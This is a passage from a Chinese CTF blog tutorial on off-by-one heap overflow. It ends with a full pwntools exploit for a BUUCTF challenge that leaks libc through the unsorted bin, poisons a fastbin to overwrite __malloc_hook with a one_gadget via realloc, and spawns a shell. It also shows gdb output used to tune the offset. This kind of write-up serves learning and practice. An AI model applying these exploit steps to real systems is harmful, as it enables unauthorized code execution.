<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">add(0x68,b&#39;a&#39;*0x08)# 4与2同时指向0x70</span><br><span class="line"></span><br><span class="line">free(4)</span><br><span class="line">edit(2,p64(fake_chunk_addr))</span><br><span class="line"></span><br><span class="line">add(0x68,b&#39;a&#39;*0x08)#4</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload&#x3D;b&#39;a&#39;*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)</span><br><span class="line">add(0x68,payload)#5</span><br><span class="line"></span><br><span class="line">r.recvuntil(&quot;choice: &quot;)</span><br><span class="line">r.sendline(&quot;1&quot;)</span><br><span class="line">r.sendlineafter(&quot;size?&quot;,str(0x18))</span><br><span class="line">print(hex(libc.sym[&#39;__malloc_hook&#39;]))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>


<h4 id="PS-1"><a href="#PS-1" class="headerlink" title="PS:"></a>PS:</h4><p>关于为什么是0x13-0x08，因为我们从main_arena-0x33的位置填充的(第三步有提到)，而这个位置距离realloc_hook的距离就是(0x13-8)</p>
<p>关于realloc_hook压栈到底要加多少</p>
<p>我们可以打开gdb输入 x/32i  __libc_realloc</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x&#x2F;32i __libc_realloc</span><br><span class="line">   0x7ff34230e710 &lt;__GI___libc_realloc&gt;:	push   r15</span><br><span class="line">   0x7ff34230e712 &lt;__GI___libc_realloc+2&gt;:	push   r14</span><br><span class="line">   0x7ff34230e714 &lt;__GI___libc_realloc+4&gt;:	push   r13</span><br><span class="line">   0x7ff34230e716 &lt;__GI___libc_realloc+6&gt;:	push   r12</span><br><span class="line">   0x7ff34230e718 &lt;__GI___libc_realloc+8&gt;:	mov    r12,rsi</span><br><span class="line">   0x7ff34230e71b &lt;__GI___libc_realloc+11&gt;:	push   rbp</span><br><span class="line">   0x7ff34230e71c &lt;__GI___libc_realloc+12&gt;:	push   rbx</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>把里面的数字一个个代入试试看。</p>
<p>最后的完整exp如下</p>
<h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP:"></a>EXP:</h2><p>需要的libc从buuctf里面下载</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#r=process(&#x27;./vn&#x27;)</span></span><br><span class="line"><span class="comment">#elf=ELF(&#x27;./vn&#x27;)</span></span><br><span class="line">r=remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">28640</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;64.so&#x27;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size,content</span>):</span></span><br><span class="line">        r.recvuntil(<span class="string">&quot;choice: &quot;</span>)</span><br><span class="line">        r.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;size?&quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;content:&quot;</span>,content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">idx,content</span>):</span></span><br><span class="line">        r.recvuntil(<span class="string">&quot;choice: &quot;</span>)</span><br><span class="line">        r.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;idx?&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;content:&quot;</span>,content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span>(<span class="params">idx</span>):</span></span><br><span class="line">        r.recvuntil(<span class="string">&quot;choice: &quot;</span>)</span><br><span class="line">        r.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;idx?&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">idx</span>):</span></span><br><span class="line">        r.recvuntil(<span class="string">&quot;choice: &quot;</span>)</span><br><span class="line">        r.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;idx?&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(r)</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;a&#x27;</span>)<span class="comment">#0</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">b&#x27;a&#x27;</span>)<span class="comment">#1</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">b&#x27;a&#x27;</span>)<span class="comment">#2</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;a&#x27;</span>)<span class="comment">#3 阻断top chunk</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x18</span>+<span class="string">b&#x27;\xe1&#x27;</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x08</span>)<span class="comment">#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena</span></span><br><span class="line">dump(<span class="number">2</span>)</span><br><span class="line">leak=u64(r.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">print(<span class="built_in">hex</span>(leak))</span><br><span class="line"></span><br><span class="line">libc_base=leak-(<span class="number">0x3c4b78</span>)<span class="comment">#0x7f2c05c6cb78-0x7f2c058a8000</span></span><br><span class="line">realloc_addr=libc_base+libc.sym[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line">malloc_hook=libc_base+libc.sym[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">fake_chunk_addr=malloc_hook-<span class="number">0x23</span></span><br><span class="line">one_gadget=libc_base+<span class="number">0x4526a</span></span><br><span class="line">print(<span class="built_in">hex</span>(realloc_addr))</span><br><span class="line">print(<span class="built_in">hex</span>(fake_chunk_addr))</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x08</span>)<span class="comment"># 4与2同时指向0x70</span></span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">edit(<span class="number">2</span>,p64(fake_chunk_addr))</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x08</span>)<span class="comment">#4</span></span><br><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x13</span>-<span class="number">0x08</span>)+p64(one_gadget)+p64(realloc_addr+<span class="number">12</span>)</span><br><span class="line">add(<span class="number">0x68</span>,payload)<span class="comment">#5</span></span><br><span class="line">r.recvuntil(<span class="string">&quot;choice: &quot;</span>)</span><br><span class="line">r.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">r.sendlineafter(<span class="string">&quot;size?&quot;</span>,<span class="built_in">str</span>(<span class="number">0x18</span>))</span><br><span class="line">print(<span class="built_in">hex</span>(libc.sym[<span class="string">&#x27;__malloc_hook&#x27;</span>]))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>
<p>结果如下</p>
<p><img src="https://i.loli.net/2021/03/18/KAIFDqzE9j23rgM.png" alt="8.png"></p>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/diazang/2021/05/06/bank/" rel="prev" title="bank">
      <i class="fa fa-chevron-left"></i> bank
    </a></div>
      <div class="post-nav-item">
    <a href="/diazang/2021/05/13/%E5%A5%B3%E5%A8%B2%E8%A1%A5%E5%A4%A9%E4%B9%8Bprintf%E5%87%BD%E6%95%B0%E6%B3%84%E9%9C%B2libc/" rel="next" title="女娲补天之printf函数泄露libc">
      女娲补天之printf函数泄露libc <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8%E5%A0%86%E6%BA%A2%E5%87%BA%E6%8A%80%E5%B7%A7-OFF-BY-ONE"><span class="nav-number">1.</span> <span class="nav-text">快速入门堆溢出技巧(OFF BY ONE)</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#OFF-BY-ONE"><span class="nav-number">1.1.</span> <span class="nav-text">OFF BY ONE</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#UNSORTERBIN-amp-FASTBINS"><span class="nav-number">1.2.</span> <span class="nav-text">UNSORTERBIN&amp;FASTBINS</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%BE%8B%E9%A2%98%E8%AE%B2%E8%A7%A3"><span class="nav-number">1.3.</span> <span class="nav-text">例题讲解</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%80%9D%E8%B7%AF%E6%A6%82%E8%BF%B0"><span class="nav-number">1.3.1.</span> <span class="nav-text">思路概述</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#First-step"><span class="nav-number">1.4.</span> <span class="nav-text">First step</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Second-step"><span class="nav-number">1.5.</span> <span class="nav-text">Second step</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Third-step"><span class="nav-number">1.6.</span> <span class="nav-text">Third step</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%88%86%E5%89%B2unsortedbin"><span class="nav-number">1.6.0.1.</span> <span class="nav-text">分割unsortedbin</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#PS"><span class="nav-number">1.6.0.2.</span> <span class="nav-text">PS:</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Last-step"><span class="nav-number">1.7.</span> <span class="nav-text">Last step</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#PS-1"><span class="nav-number">1.7.0.1.</span> <span class="nav-text">PS:</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#EXP"><span class="nav-number">1.8.</span> <span class="nav-text">EXP:</span></a></li></ol></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="H.R.P"
      src="https://www.hualigs.cn/image/6015786be4309.jpg">
  <p class="site-author-name" itemprop="name">H.R.P</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/diazang/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
  </nav>
</div>



      </div>
        <div class="back-to-top motion-element">
          <i class="fa fa-arrow-up"></i>
          <span>0%</span>
        </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        <!-- 用下面的符号注释，注释代码用下面括号括起来 -->
<!-- -->

<!-- 







-->


        








      </div>
    </footer>
  </div>

  
  <script src="/diazang/lib/anime.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.ui.min.js"></script>

<script src="/diazang/js/utils.js"></script>

<script src="/diazang/js/motion.js"></script>


<script src="/diazang/js/schemes/pisces.js"></script>


<script src="/diazang/js/next-boot.js"></script>




  




  
<script src="/diazang/js/local-search.js"></script>













  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'g8R6OK66Q2xJiQieSaxzFqVA-gzGzoHsz',
      appKey     : 'V9mmkUCmucvukcz6LwkONqXa',
      placeholder: "Just go go",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : false,
      lang       : '' || 'zh-cn',
      path       : location.pathname,
      recordIP   : false,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
<a href="http://jue-xian.gitee.io/diazang"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#70B7FD; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
<!-- 动态背景 -->
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/clicklove.js"></script>


